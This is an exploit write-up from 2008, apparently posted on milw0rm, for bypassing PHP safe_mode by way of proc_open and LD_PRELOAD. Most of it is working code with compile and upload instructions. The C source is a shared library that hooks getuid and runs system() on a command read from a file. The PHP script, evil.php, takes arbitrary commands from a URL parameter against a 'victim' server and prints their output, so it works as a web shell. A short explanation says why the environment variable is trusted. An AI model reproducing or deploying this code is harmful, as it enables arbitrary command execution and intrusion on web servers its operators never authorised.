477bcbdcc0
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115 lines
3.2 KiB
Text
Executable file
115 lines
3.2 KiB
Text
Executable file
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+ safe-bypass-procopen.txt - yet another way to bypass PHP safe_mode. +
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+ By Milen Rangelov <gat3way@gat3way.eu> +
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-----------------------------------------------------------------------
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This *should* work provided that you have met the following requirements:
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1) A writable directory under documentroot to place those files (obviously)
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2) You don't have proc_open in your disabled_functions list
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3) You are able to compile a shared library on the same platform as the target web server.
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The reason I'm publishing that is because I posted a similar bug (putenv()+mail()) which was titled as "Bogus" one by the PHP developers.
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Now, this one uses quite the same concept, only different means.
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How does this work?
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-------------------
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You will need to upload 2 files - one precompiled shared library and a php script. Place them in the writable dir and just open http://victim/path/evil.php?c=arbitrarycommand
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You'll need to change the $path variable to match the writable directory
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Here is the library code, compile with cc -o a.so -fPIC -shared a.c
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a.c:
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----
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#include <stdlib.h>
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#include <stdio.h>
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#include <string.h>
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int getuid()
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{
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char *en;
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char *buf=malloc(300);
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FILE *a;
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unsetenv("LD_PRELOAD");
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a=fopen(".comm","r");
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buf=fgets(buf,100,a);
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write(2,buf,strlen(buf));
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fclose(a);
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rename("a.so","b.so");
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system(buf);
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system("mv output.txt .comm1");
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rename("b.so","a.so");
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free(buf);
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return 0;
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}
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*cut*
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And that is the PHP script:
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evil.php:
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-------------------------
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<?php
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$path="/var/www"; //change to your writable path
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$a=fopen($path."/.comm","w");
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fputs($a,$_GET["c"]);
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fclose($a);
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$descriptorspec = array(
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0 => array("pipe", "r"),
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1 => array("file", $path."/output.txt","w"),
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2 => array("file", $path."/errors.txt", "a" )
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);
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$cwd = '.';
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$env = array('LD_PRELOAD' => $path."/a.so");
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$process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
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sleep(1);
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$a=fopen($path."/.comm1","r");
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echo "<pre><b>";
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while (!feof($a))
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{$b=fgets($a);echo $b;}
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fclose($a);
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echo "</pre>";
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?>
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*cut*
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Yeah, I know, it's written pretty lame, it's just a PoC.
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Why does that work?
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-------------------
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Because the PHP devs like to trust the environment. Especially the dynamic loader variables. In the original bug I posted into their bugtracking system, I suggested that they clean them in mail() for example, but....yuck the bug was classified as *bogus*.
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This demonstrates exactly the same problem. If you have safe_mode enabled, you cannot execute anything except the binaries in the safe mode exec dir. They prepend a trailing slash to your command string and strip "..". Yet, proc_open() enables you to provide your own environment to pass to the new process. proc_open() executes "/bin/sh -c yourcommand" and even though yourcommand is invalid, the LD_PRELOAD is passed to /bin/sh.
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/bin/sh loads your h4h0r library and then BOOM!
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I hope you'd find that useful.
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BTW....!!! Dolu naglite programisti :DDD !!!
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# milw0rm.com [2008-12-09]
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